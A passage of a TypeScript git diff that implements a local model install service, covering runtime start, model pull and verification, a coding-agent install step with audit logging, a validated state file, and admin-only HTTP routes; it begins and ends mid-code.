this.deps.supervisor.stop()) + .catch((err: unknown) => { + console.warn(`[local-model] Stopping the runtime failed: ${getErrorMessage(err)}`); + }); + if (job) { + await Promise.race([job.promise.catch(() => {}), new Promise((resolve) => setTimeout(resolve, 3_000).unref())]); + } + await stopped; + } + + async idle(): Promise<void> { + while (this.job) await this.job.promise.catch(() => {}); + } + + // ---------- The job ---------- + + private startJob(actor: LocalModelActor): void { + const controller = new AbortController(); + this.clearProgress(); + const job = { + controller, + promise: this.runJob(actor, controller.signal).finally(() => { + if (this.job === job) this.job = undefined; + }), + }; + this.job = job; + } + + /** Runs the steps from the stored one on, until the job is installed, failed or interrupted. Never rejects. */ + private async runJob(actor: LocalModelActor, signal: AbortSignal): Promise<void> { + try { + for (;;) { + const state = await this.deps.readState(); + if (state.state !== 'installing' || !state.step || signal.aborted) return; + let outcome: StepOutcome; + try { + outcome = await this.runStep(state.step, state, actor, signal); + } catch (err) { + outcome = { kind: 'fail', code: 'internal', detail: getErrorMessage(err) }; + } + if (outcome.kind === 'done') { + // A step that finished stays finished, also when Cancel arrived while it ran. Its + // download figures go first, so the next step is never shown with them. + this.clearProgress(); + await this.dispatch({ type: 'step-done' }); + continue; + } + // An interrupted step is not a failed one, whatever its last call answered. Cancel + // writes `paused` itself; a server that is stopping writes nothing. + if (outcome.kind === 'cancelled' || signal.aborted || this.stopping) return; + await this.flushProgress().catch(() => {}); + await this.dispatch({ + type: 'fail', + code: outcome.code, + ...(outcome.vars ? { vars: outcome.vars } : {}), + ...(outcome.detail ? { detail: outcome.detail } : {}), + ...(outcome.nextModelId ? { nextModelId: outcome.nextModelId } : {}), + }); + return; + } + } catch (err) { + console.warn(`[local-model] The install job stopped: ${getErrorMessage(err)}`); + await this.dispatch({ type: 'fail', code: 'internal', detail: getErrorMessage(err) }).catch(() => {}); + } + } + + private runStep( + step: LocalModelInstallStep, + state: LocalModelStateFile, + actor: LocalModelActor, + signal: AbortSignal + ): Promise<StepOutcome> { + switch (step) { + case 'runtime': + return this.stepRuntime(state, signal); + case 'model': + return this.stepModel(state, signal); + case 'verify': + return this.stepVerify(state, signal); + case 'agent': + return this.stepAgent(state, actor, signal); + case 'connect': + return this.stepConnect(state, signal); + } + } + + /** Makes sure the runtime runs before a step that needs it. `undefined`: it runs. */ + private async needRuntime(signal: AbortSignal): Promise<StepOutcome | undefined> { + const state = await this.deps.readState(); + const started = await this.startRuntime(state); + if (signal.aborted) return CANCELLED; + return started.ok ? undefined : this.startFailure(started, state); + } + + private async stepRuntime(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const installed = await this.deps.ensureRuntimeInstalled({ + pin: this.deps.pin, + paths: this.paths(), + signal, + onProgress: (progress) => this.onProgress(progress), + }); + if (!installed.ok) { + if (installed.code === 'cancelled') return CANCELLED; + return { kind: 'fail', code: installed.code, ...(installed.detail ? { detail: installed.detail } : {}) }; + } + if (signal.aborted) return CANCELLED; + + // The port is chosen ONCE. A job that already has one keeps it. + if (!state.runtime) { + const port = await this.deps.chooseRuntimePort(); + if (port === undefined) return { kind: 'fail', code: 'port-in-use', vars: this.errorVars('port-in-use', state) }; + await this.record((current) => + current.runtime ? undefined : { ...current, runtime: { version: this.deps.pin.version, port, enabled: true } } + ); + } + const withPort = await this.deps.readState(); + const started = await this.startRuntime(withPort); + if (signal.aborted) return CANCELLED; + if (!started.ok) return this.startFailure(started, withPort); + + // The budget is MEASURED now: the runtime printed the device total when it started. The + // model is judged against it before a byte of it is downloaded. + const measuredTotalBytes = started.measuredTotalBytes ?? withPort.runtime?.measuredTotalBytes; + if (measuredTotalBytes !== undefined) { + const hw = await this.deps.readHardware(); + const catalog = this.deps.getCatalog(); + const options: RecommendOptions = { measuredTotalBytes, runtimeDownloadBytes: 0 }; + if (!this.deps.modelFitsBudget(hw, catalog, state.model.id, state.model.context, options)) { + const nextModelId = await this.nextModelId(state.model.id, options); + return { + kind: 'fail', + code: 'does-not-fit', + vars: this.errorVars('does-not-fit', state), + ...(nextModelId ? { nextModelId } : {}), + }; + } + } + return DONE; + } + + private async stepModel(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const target = baseUrlOf(running.runtime.port); + + // What a replaced job left of another model goes first, so two models never share the store. + if (running.replacedModelId) { + try { + await this.deps.deleteModel(target, running.replacedModelId, signal); + } catch { + /* a leftover is not a reason to stop: Remove with the models deletes it */ + } + if (signal.aborted) return CANCELLED; + await this.record((current) => { + const { replacedModelId: _replaced, ...rest } = current; + return rest; + }); + } + + const pulled = await this.deps.pullModel(target, state.model.id, { + signal, + onProgress: (progress) => this.onProgress(progress), + }); + if (!pulled.ok) { + if (pulled.code === 'cancelled') return CANCELLED; + const nextModelId = pulled.code === 'model-not-found' ? await this.nextModelId(state.model.id) : undefined; + return { + kind: 'fail', + code: pulled.code, + vars: this.errorVars(pulled.code, state), + ...(pulled.detail ? { detail: pulled.detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; + } + // From here on every size shown for the model is the pull's own total. + const pullBytes = pulled.totalBytes; + await this.record((current) => + current.model ? { ...current, model: { ...current.model, pullBytes } } : undefined + ); + return DONE; + } + + private async stepVerify(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const target = baseUrlOf(running.runtime.port); + const { id, context } = state.model; + + const verified = await this.deps.verifyModel(target, id, context, signal); + if (!verified.ok) { + if (verified.code === 'cancelled') return CANCELLED; + let vars = this.errorVars(verified.code, state); + if (verified.code === 'context-not-applied') { + let actual = '?'; + try { + const loaded = (await this.deps.listRunning(target, AbortSignal.timeout(RUNTIME_READ_TIMEOUT_MS))).find( + (model) => model.name === id + ); + if (loaded) actual = String(loaded.contextLength); + } catch { + /* the sentence then says "?" */ + } + vars = { model: state.model.label, actual, wanted: String(context) }; + } + const offersNext = verified.code === 'does-not-fit' || verified.code === 'no-tool-call'; + const nextModelId = offersNext ? await this.nextModelId(id) : undefined; + return { + kind: 'fail', + code: verified.code, + ...(vars ? { vars } : {}), + ...(verified.detail ? { detail: verified.detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; + } + + // The digest of what was just checked: what a session launch compares with from now on. + const digest = await this.deps.readModelDigest(target, id, signal); + if (signal.aborted) return CANCELLED; + if (!digest) { + return { + kind: 'fail', + code: 'load-failed', + vars: this.errorVars('load-failed', state), + detail: 'The runtime reports no digest for the model.', + }; + } + const loaded = verified.loaded; + await this.record((current) => + current.model ? { ...current, model: { ...current.model, digest }, loaded: { ...loaded } } : undefined + ); + this.digestStatus = 'same'; + this.digestCheckedAt = this.deps.now(); + return DONE; + } + + private async stepAgent( + state: LocalModelStateFile, + actor: LocalModelActor, + signal: AbortSignal + ): Promise<StepOutcome> { + if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' }; + const cli = state.cli.id; + const vars = this.errorVars('harness-failed', state); + // A resumed job, or an installer that finished before a restart: the binary may be there. + if (await this.deps.recheckCliInstalled(cli)) return DONE; + if (signal.aborted) return CANCELLED; + + // Only a coding agent of the catalogue, and only its STOCK install command. + if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' }; + } + const command = this.deps.stockInstallCommand(cli); + if (!command) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' }; + } + const release = this.deps.tryBeginCliInstall(cli); + if (!release) { + return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' }; + } + let result: CliInstallResult; + try { + result = await this.deps.runInstallCommand(command, { signal }); + } finally { + release(); + } + void this.deps + .audit({ + admin: actor.username, + action: 'cli_install', + target: cli, + ...(actor.ip ? { ip: actor.ip } : {}), + detail: { + command, + exitCode: result.code, + timedOut: result.timedOut, + aborted: result.aborted, + via: 'local-model', + }, + }) + .catch(() => {}); + // Even a failed or interrupted install may have left a binary behind: the cached lookups + // are forgotten either way, and what counts is whether the binary is found now. + const installed = await this.deps.recheckCliInstalled(cli); + if (result.aborted || signal.aborted) return CANCELLED; + if (installed) return DONE; + const detail = result.timedOut + ? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.` + : result.output.slice(-INSTALLER_DETAIL_CHARS).trim() || + (result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.'); + return { kind: 'fail', code: 'harness-failed', vars, detail }; + } + + private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> { + if (!state.model) return { kind: 'fail', code: 'internal', detail: 'The job has no model.' }; + const blocked = await this.needRuntime(signal); + if (blocked) return blocked; + const running = await this.deps.readState(); + if (!running.runtime) return { kind: 'fail', code: 'internal', detail: 'The runtime has no port.' }; + const { port } = running.runtime; + const { id, context } = state.model; + + // The record names the model exactly as the runtime lists it for a coding agent. + const listed = await this.deps.listOpenAiModels(baseUrlOf(port), signal); + if (signal.aborted) return CANCELLED; + if (!listed.includes(id)) { + return { kind: 'fail', code: 'connect-failed', detail: `The runtime does not list ${id}.` }; + } + + // From here on the two writes run to their end: Cancel no longer interrupts. + const connected = await this.deps.connectLocalModel({ + port, + modelId: id, + context, + ours: running.connection !== undefined, + ...(running.connection ? { flagWasEnabled: running.connection.flagWasEnabled } : {}), + }); + if (!connected.ok) { + return { + kind: 'fail', + code: connected.code, + vars: this.errorVars(connected.code, state), + ...(connected.detail ? { detail: connected.detail } : {}), + }; + } + const flagWasEnabled = connected.flagWasEnabled; + await this.record((current) => ({ + ...current, + connection: { endpointId: LOCAL_MODEL_ENDPOINT_ID, flagWasEnabled }, + })); + return DONE; + } } /** A service over `deps`. A test builds its own with fakes. */ export function createLocalModelService(deps: Partial<LocalModelServiceDeps> = {}): LocalModelService { - return notImplemented('createLocalModelService', deps); + return new LocalModelServiceImpl(deps); } +let processService: LocalModelService | undefined; + /** The one service of this process, built on first use with the real modules. What the routes and server.ts call. */ export function getLocalModelService(): LocalModelService { - return notImplemented('getLocalModelService'); + processService ??= createLocalModelService(); + return processService; } diff --git a/src/local-model/state-store.ts b/src/local-model/state-store.ts index ada9c69d..434a686e 100644 --- a/src/local-model/state-store.ts +++ b/src/local-model/state-store.ts @@ -2,9 +2,6 @@ * @fileoverview The ONE reader and writer of `local-model.json`, the state file of the local * model install (`LocalModelStateFile`). * - * CONTRACT STAGE: `IDLE_LOCAL_MODEL_STATE` is final. Every function below has its final - * signature and a body that throws; the bodies are written next. - * * Why one module: the install job writes the state, the step and the digest, and the caller * of the runtime supervisor writes the pid and the port. Two writers with their own temp file * and rename would lose each other's change, which is the fault `mutateCustomModelHosts()` @@ -20,30 +17,242 @@ * - The path is `localModelPaths().stateFile`. The file itself holds no path. */ -import type { LocalModelStateFile } from '../types.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { randomUUID } from 'node:crypto'; +import fs from 'node:fs/promises'; +import { dirname } from 'node:path'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type LocalModelErrorCode, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelStateFile, +} from '../types.js'; +import { OLLAMA_RUNTIME_PIN } from './runtime.js'; +import { localModelPaths } from './paths.js'; /** The state when nothing was ever installed. What an unreadable file reads as. */ export const IDLE_LOCAL_MODEL_STATE: LocalModelStateFile = Object.freeze({ schema: 1, state: 'idle' }); +const STATES: readonly LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed']; + +// ---------- Reading one member at a time ---------- + +const isRecord = (value: unknown): value is Record<string, unknown> => + typeof value === 'object' && value !== null && !Array.isArray(value); + +const text = (value: unknown, max = 4_096): string | undefined => + typeof value === 'string' && value !== '' && value.length <= max ? value : undefined; + +/** A whole number of bytes, tokens, a port or a pid: finite, not negative, and an integer. */ +const count = (value: unknown): number | undefined => + typeof value === 'number' && Number.isSafeInteger(value) && value >= 0 ? value : undefined; + +const step = (value: unknown): LocalModelInstallStep | undefined => + LOCAL_MODEL_INSTALL_STEPS.find((candidate) => candidate === value); + +function parseSteps(value: unknown): LocalModelInstallStep[] | undefined { + if (!Array.isArray(value)) return undefined; + const steps: LocalModelInstallStep[] = []; + for (const item of value) { + const parsed = step(item); + // A list with an unknown or a repeated step is not a list this build wrote. + if (!parsed || steps.includes(parsed)) return undefined; + steps.push(parsed); + } + return steps.length > 0 ? steps : undefined; +} + +function parseVars(value: unknown): Record<string, string> | undefined { + if (!isRecord(value)) return undefined; + const vars: Record<string, string> = {}; + for (const [key, item] of Object.entries(value)) { + if (typeof item === 'string' && item.length <= 4_096) vars[key] = item; + } + return Object.keys(vars).length > 0 ? vars : undefined; +} + +function parseError(value: unknown): LocalModelStateFile['error'] { + if (!isRecord(value)) return undefined; + const code = text(value.code); + if (!code || !Object.prototype.hasOwnProperty.call(LOCAL_MODEL_ERROR_LABELS, code)) return undefined; + const vars = parseVars(value.vars); + const detail = text(value.detail, 16_384); + const nextModelId = text(value.nextModelId, 200); + return { + code: code as LocalModelErrorCode, + ...(vars ? { vars } : {}), + ...(detail ? { detail } : {}), + ...(nextModelId ? { nextModelId } : {}), + }; +} + +function parseModel(value: unknown): LocalModelStateFile['model'] { + if (!isRecord(value)) return undefined; + const id = text(value.id, 200); + const label = text(value.label, 200); + const context = count(value.context); + if (!id || !label || !context) return undefined; + const pullBytes = count(value.pullBytes); + const digest = text(value.digest, 200); + return { + id, + label, + context, + ...(pullBytes !== undefined ? { pullBytes } : {}), + ...(digest ? { digest } : {}), + }; +} + +function parseCli(value: unknown): LocalModelStateFile['cli'] { + if (!isRecord(value)) return undefined; + const id = text(value.id, 200); + const label = text(value.label, 200); + return id && label ? { id, label } : undefined; +} + +function parseRuntime(value: unknown): LocalModelStateFile['runtime'] { + if (!isRecord(value)) return undefined; + const version = text(value.version, 64); + const port = count(value.port); + if (!version || !port || port > 65_535) return undefined; + const pid = count(value.pid); + const measuredTotalBytes = count(value.measuredTotalBytes); + return { + version, + port, + ...(pid ? { pid } : {}), + // Anything but an explicit `false` reads as enabled: only Stop switches the runtime off. + enabled: value.enabled !== false, + ...(measuredTotalBytes ? { measuredTotalBytes } : {}), + }; +} + +function parseProgress(value: unknown): LocalModelStateFile['progress'] { + if (!isRecord(value)) return undefined; + const completedBytes = count(value.completedBytes); + const totalBytes = count(value.totalBytes); + return completedBytes !== undefined && totalBytes !== undefined ? { completedBytes, totalBytes } : undefined; +} + +function parseLoaded(value: unknown): LocalModelStateFile['loaded'] { + if (!isRecord(value)) return undefined; + const context = count(value.context); + const sizeBytes = count(value.sizeBytes); + const sizeVramBytes = count(value.sizeVramBytes); + return context !== undefined && sizeBytes !== undefined && sizeVramBytes !== undefined + ? { context, sizeBytes, sizeVramBytes } + : undefined; +} + +function parseConnection(value: unknown): LocalModelStateFile['connection'] { + if (!isRecord(value)) return undefined; + const endpointId = text(value.endpointId, 200); + return endpointId && typeof value.flagWasEnabled === 'boolean' + ? { endpointId, flagWasEnabled: value.flagWasEnabled } + : undefined; +} + /** * The state a file's text stands for. Pure and total: text that is not a JSON object of * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are * dropped, and a member of the wrong type is dropped rather than trusted. + * + * A state that needs a member it does not have is not trusted either: a job (`installing`, + * `paused`, `failed`) without its model, its coding agent or its step, a `failed` job without + * its error, and an `installed` state without its model or its runtime all read as idle. + * Nothing is deleted by that: what lies in the folder stays until a Remove or a new install. */ export function parseLocalModelState(raw: string): LocalModelStateFile { - return notImplemented('parseLocalModelState', raw); + let parsed: unknown; + try { + parsed = JSON.parse(raw); + } catch { + return IDLE_LOCAL_MODEL_STATE; + } + if (!isRecord(parsed) || parsed.schema !== 1) return IDLE_LOCAL_MODEL_STATE; + const state = STATES.find((candidate) => candidate === parsed.state); + if (!state || state === 'idle') return IDLE_LOCAL_MODEL_STATE; + + const model = parseModel(parsed.model); + const cli = parseCli(parsed.cli); + const runtime = parseRuntime(parsed.runtime); + const connection = parseConnection(parsed.connection); + const updatedAt = text(parsed.updatedAt, 64); + const replacedModelId = text(parsed.replacedModelId, 200); + if (!model || !cli) return IDLE_LOCAL_MODEL_STATE; + + if (state === 'installed') { + if (!runtime) return IDLE_LOCAL_MODEL_STATE; + const loaded = parseLoaded(parsed.loaded); + return { + schema: 1, + state, + model, + cli, + runtime, + ...(loaded ? { loaded } : {}), + ...(connection ? { connection } : {}), + ...(updatedAt ? { updatedAt } : {}), + }; + } + + const steps = parseSteps(parsed.steps); + const current = step(parsed.step); + if (!steps || !current || !steps.includes(current)) return IDLE_LOCAL_MODEL_STATE; + const error = parseError(parsed.error); + if (state === 'failed' && !error) return IDLE_LOCAL_MODEL_STATE; + const progress = parseProgress(parsed.progress); + const loaded = parseLoaded(parsed.loaded); + return { + schema: 1, + state, + step: current, + steps, + ...(state === 'failed' && error ? { error } : {}), + model, + cli, + ...(runtime ? { runtime } : {}), + ...(progress ? { progress } : {}), + ...(loaded ? { loaded } : {}), + ...(connection ? { connection } : {}), + ...(replacedModelId ? { replacedModelId } : {}), + ...(updatedAt ? { updatedAt } : {}), + }; +} + +/** Where the state file is. Built from `dataPath()` on every call, so a test's own data dir is honoured. */ +function stateFilePath(): string { + return localModelPaths(OLLAMA_RUNTIME_PIN.version).stateFile; +} + +async function readStateFrom(path: string): Promise<LocalModelStateFile> { + try { + return parseLocalModelState(await fs.readFile(path, 'utf-8')); + } catch { + return IDLE_LOCAL_MODEL_STATE; + } } /** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */ export async function readLocalModelState(): Promise<LocalModelStateFile> { - return notImplemented('readLocalModelState'); + return readStateFrom(stateFilePath()); } +async function writeStateFile(path: string, state: LocalModelStateFile): Promise<void> { + await fs.mkdir(dirname(path), { recursive: true }); + const tmp = `${path}.${process.pid}.${randomUUID()}.tmp`; + try { + await fs.writeFile(tmp, JSON.stringify(state, null, 2), { mode: 0o600 }); + await fs.rename(tmp, path); + } catch (err) { + await fs.rm(tmp, { force: true }).catch(() => {}); + throw err; + } +} + +let mutationChain: Promise<unknown> = Promise.resolve(); + /** * Runs one change to the state file. `fn` receives the current state and returns the state to * write, or `undefined` to write nothing. Resolves with the state before and after the change @@ -53,5 +262,15 @@ export async function readLocalModelState(): Promise<LocalModelStateFile> { export function mutateLocalModelState( fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined ): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> { - return notImplemented('mutateLocalModelState', fn); + const run = mutationChain.then(async () => { + const path = stateFilePath(); + const before = await readStateFrom(path); + const next = fn(before); + if (!next) return { before, after: undefined }; + const after: LocalModelStateFile = { ...next, updatedAt: new Date().toISOString() }; + await writeStateFile(path, after); + return { before, after }; + }); + mutationChain = run.catch(() => {}); + return run; } diff --git a/src/types/local-model-install.ts b/src/types/local-model-install.ts index d964e53a..3bd29022 100644 --- a/src/types/local-model-install.ts +++ b/src/types/local-model-install.ts @@ -22,15 +22,19 @@ * | Route | Body | Refusals | * |----------------------------------|-----------------------------|-------------------------------------------------------| * | `GET /api/local-model` | none | none (a failed probe is an answer) | - * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers; 409 `job-running`, | + * | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers, or a saved endpoint | + * | | | already has the reserved id; 409 `job-running`, | * | | | `already-installed`, `size-changed` | * | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) | - * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `wrong-state` (not paused or failed) | + * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or | + * | | | failed) | * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running` | * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` | * * A 409 is the error envelope plus `data: LocalModelConflict`: - * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. + * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409 + * WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused + * because the file does not parse; `error` names the fix. * * The rules of src/types/local-model.ts hold here too: * 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()` @@ -427,18 +431,14 @@ export interface LocalModelInstallView { actions: LocalModelAction[]; } -/** - * The `data` of `GET /api/local-model`. Admin only in multi-user mode. - * - * `install` is optional in the type only until the route emits it: from the stage that ships - * the install verbs on it is always present. - */ +/** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */ export interface LocalModelStatus { hardware: HardwareFacts; recommendation: Recommendation; /** `LocalModelCatalog.updated`. */ catalogUpdated: string; - install?: LocalModelInstallView; + /** Where the install stands. Always present. */ + install: LocalModelInstallView; } // ---------- Request bodies and answers ---------- @@ -557,6 +557,12 @@ export interface LocalModelStateFile { /** The digest `/api/tags` reported after the pull. Compared again at boot and before a session starts. */ digest?: string; }; + /** + * The model of the job this one replaced, when it was another model: what that job left in + * the model store is deleted once the runtime runs, before the new model is downloaded. + * Absent once that was done, and in `idle` and `installed`. + */ + replacedModelId?: string; /** The coding agent of the job or of the installation. */ cli?: { id: string; label: string }; /** The runtime, once its port was chosen. */ diff --git a/src/web/routes/local-model-routes.ts b/src/web/routes/local-model-routes.ts index 12b3cc4a..74c858ef 100644 --- a/src/web/routes/local-model-routes.ts +++ b/src/web/routes/local-model-routes.ts @@ -1,18 +1,34 @@ /** - * @fileoverview `GET /api/local-model`: what this Mac is and which local model fits it. + * @fileoverview The local model routes: what this Mac is and which local model fits it + * (`GET /api/local-model`), and the verbs that install one, start and stop it and remove it. * - * Answers `{ success: true, data: LocalModelStatus }`, built from the hardware probe, the - * catalogue, the harness facts and the pure `recommend()`: - * `{ hardware, recommendation, catalogUpdated }`. Nothing is reformatted here: every size text - * and every sentence in the payload was chosen by the modules that produced it. + * | Route | Body | Answer | + * |----------------------------------|-----------------------------|------------------------------------------------| + * | `GET /api/local-model` | none | `{ hardware, recommendation, catalogUpdated, install }` | + * | `POST /api/local-model/install` | `LocalModelInstallRequest` | the install view; 400, 409 | + * | `POST /api/local-model/cancel` | none | the install view; 409 | + * | `POST /api/local-model/resume` | `LocalModelResumeRequest` | the install view; 409 | + * | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 | + * | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 | * - * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model recommendation"): the - * route and its payload are outside the stable `/api/v1` contract until the stage that sets a - * model up ships, because that stage will change what the fields mean. docs/api-reference.md - * says so in its section; keep the two in step, and drop both labels together. + * The GET is built from the hardware probe, the catalogue, the harness facts and the pure + * `recommend()`, plus the `install` object of the install service + * (`LocalModelService.view()`). Nothing is reformatted here: every size text and every + * sentence in the payload was chosen by the modules that produced it. There is no SSE event: + * the window polls the GET once a second while it is open. + * + * EXPERIMENTAL (docs/versioning-policy.md, "Experimental local model routes"): the routes and + * their payloads are outside the stable `/api/v1` contract. docs/api-reference.md says so in + * its section; keep the two in step, and drop both labels together. * * Rules: - * - Read-only. It downloads nothing, installs nothing, writes no file and reads no setting. + * - Every route is admin only in multi-user mode (403), the same bar as `GET /api/doctor`: + * the GET names hardware of the host, and the verbs download and run a program, install a + * coding agent and write the server-wide settings. The gate runs before anything is probed, + * parsed or started. + * - The GET changes nothing a person asked to keep: it downloads nothing, installs nothing + * and writes no setting. Its one write is the service's own bookkeeping (a job a server + * restart interrupted is marked paused the first time anything looks at it). * - A failed probe is an answer, never a 500. `readHardware()` reports a spawn that failed * in the hardware's `source` (`os-fallback`), and a server that is not on macOS as * `not-probed`; both go out as a 200 whose recommendation is verdict `none` or computed @@ -21,10 +37,16 @@ * `source` values. * - A 500 is left for a fault that is not a probe: the catalogue, the harness facts or * `recommend()` throwing. That is a bug, and it must not be dressed up as "no model fits". - * - The payload names hardware of the host, so in multi-user mode it is admin only (403), the - * same bar as `GET /api/doctor`. The gate runs before anything is probed. + * - A verb answers the view AFTER the verb. A refusal the service names is a 400 (the request + * is not a row the server offers) or a 409 whose `data` is the `LocalModelConflict` + * (`reason`, the sentence, and for `size-changed` the server's own total, for + * `sessions-open` the session names). A write of the settings or of the endpoint store + * that was refused (a file that does not parse) is a 409 without `data`, with the fix. + * - The verbs do the work in the install service; this file only gates, parses and maps. + * `DELETE` is the one that looks at the live sessions: it hands their names to the service, + * which refuses while one of them still uses the model. * - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and - * does not need a Mac: it passes its own hardware and harness facts. + * does not need a Mac: it passes its own hardware, harness facts and service. */ import { arch, totalmem } from 'node:os'; @@ -37,23 +59,63 @@ import { type HardwareFacts, type HarnessFact, type LocalModelCatalog, + type LocalModelConflict, + type LocalModelInstallView, type LocalModelStatus, type Recommendation, + type RecommendOptions, } from '../../types.js'; -import { isAdmin } from '../route-helpers.js'; +import { getAuthUser, isAdmin, parseBody } from '../route-helpers.js'; import { isMultiUserMode } from '../../config/multiuser.js'; import { getLocalModelCatalog } from '../../config/local-model-catalog.js'; +import { + CustomModelHostsWriteRefusedError, + customModelHostsWriteErrorResponse, +} from '../../custom-model-hosts-writer.js'; +import { sessionNamesUsingEndpoint } from '../../local-model/connect.js'; import { formatGb, memClassGb } from '../../local-model/format.js'; import { readHardware } from '../../local-model/hardware.js'; import { buildHarnessFacts } from '../../local-model/harness-facts.js'; +import { + formatInstallMessage, + getLocalModelService, + type LocalModelActor, + type LocalModelService, + type LocalModelVerbResult, +} from '../../local-model/install-job.js'; import { recommend } from '../../local-model/recommend.js'; +import { + LocalModelInstallSchema, + LocalModelRemoveSchema, + LocalModelResumeSchema, + LocalModelRuntimeSchema, +} from '../schemas.js'; +import { SettingsWriteRefusedError, settingsWriteErrorResponse } from '../settings-writer.js'; -/** What the route calls. Each member defaults to the real module; a test overrides what it needs. */ +/** A live session as the DELETE needs it: its name, and the endpoint its model comes from. */ +export interface LocalModelSessionLike { + name: string; + customModel?: { endpointId: string }; +} + +/** What the routes read of the server: its live sessions. */ +export interface LocalModelRouteContext { + sessions: ReadonlyMap<string, LocalModelSessionLike>; +} + +/** What the routes call. Each member defaults to the real module; a test overrides what it needs. */ export interface LocalModelRouteDeps { readHardware: () => Promise<HardwareFacts>; getCatalog: () => LocalModelCatalog; buildHarnessFacts: (catalog: LocalModelCatalog) => Promise<HarnessFact[]>; - recommend: (hw: HardwareFacts, catalog: LocalModelCatalog, harnessFacts: readonly HarnessFact[]) => Recommendation; + recommend: ( + hw: HardwareFacts, + catalog: LocalModelCatalog, + harnessFacts: readonly HarnessFact[], + options?: RecommendOptions + ) => Recommendation; + /** The install service. Looked up on every request, so the server's one service is built on first use. */ + service: () => LocalModelService; } export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { @@ -61,6 +123,7 @@ export const defaultLocalModelRouteDeps: LocalModelRouteDeps = { getCatalog: getLocalModelCatalog, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog), recommend, + service: getLocalModelService, }; /** @@ -80,15 +143,75 @@ export function hardwareFromOs(): HardwareFacts { }; } -export function registerLocalModelRoutes(app: FastifyInstance, deps: Partial<LocalModelRouteDeps> = {}): void { +/** The 409 of a verb the service refused: the error envelope plus the conflict as `data`. */ +export interface LocalModelConflictResponse { + success: false; + /** The conflict's sentence in English, its slots filled. */ + error: string; + errorCode: ApiErrorCode; + data: LocalModelConflict; +} + +/** What a verb answers: the view after it, an error envelope, or the 409 that carries the conflict. */ +export type LocalModelVerbResponse = ApiResponse<LocalModelInstallView> | LocalModelConflictResponse; + +/** 403 for a non-admin in multi-user mode, before anything else runs. `null`: go on. */ +function adminOnly(req: FastifyRequest, reply: FastifyReply): ApiResponse<never> | null { + if (!isMultiUserMode() || isAdmin(req)) return null; + reply.code(403); + return createErrorResponse(ApiErrorCode.FORBIDDEN, 'Admin only in multi-user mode'); +} + +function actorOf(req: FastifyRequest): LocalModelActor { + return { username: getAuthUser(req).username, ip: req.ip }; +} + +/** A verb's result as its HTTP answer. */ +function respond(result: LocalModelVerbResult, reply: FastifyReply): LocalModelVerbResponse { + if (result.ok) return { success: true, data: result.view }; + reply.code(result.status); + if (result.status === 400) return createErrorResponse(ApiErrorCode.INVALID_INPUT, result.message); + return { + success: false, + error: formatInstallMessage(result.conflict.message), + errorCode: ApiErrorCode.CONFLICT, + data: result.conflict, + }; +} + +/** Runs one verb. What the service did not name as a refusal: a refused config write is a 409 with the fix, anything else a 500. */ +async function runVerb( + reply: FastifyReply, + verb: () => Promise<LocalModelVerbResult> +): Promise<LocalModelVerbResponse> { + try { + return respond(await verb(), reply); + } catch (err) { + if (err instanceof CustomModelHostsWriteRefusedError) { + reply.code(409); + return customModelHostsWriteErrorResponse(err); + } + if (err instanceof SettingsWriteRefusedError) { + reply.code(409); + return settingsWriteErrorResponse(err); + } + reply.code(500); + return createErrorResponse(ApiErrorCode.INTERNAL_ERROR, `The local model request failed: ${getErrorMessage(err)}`); + } +} + +export 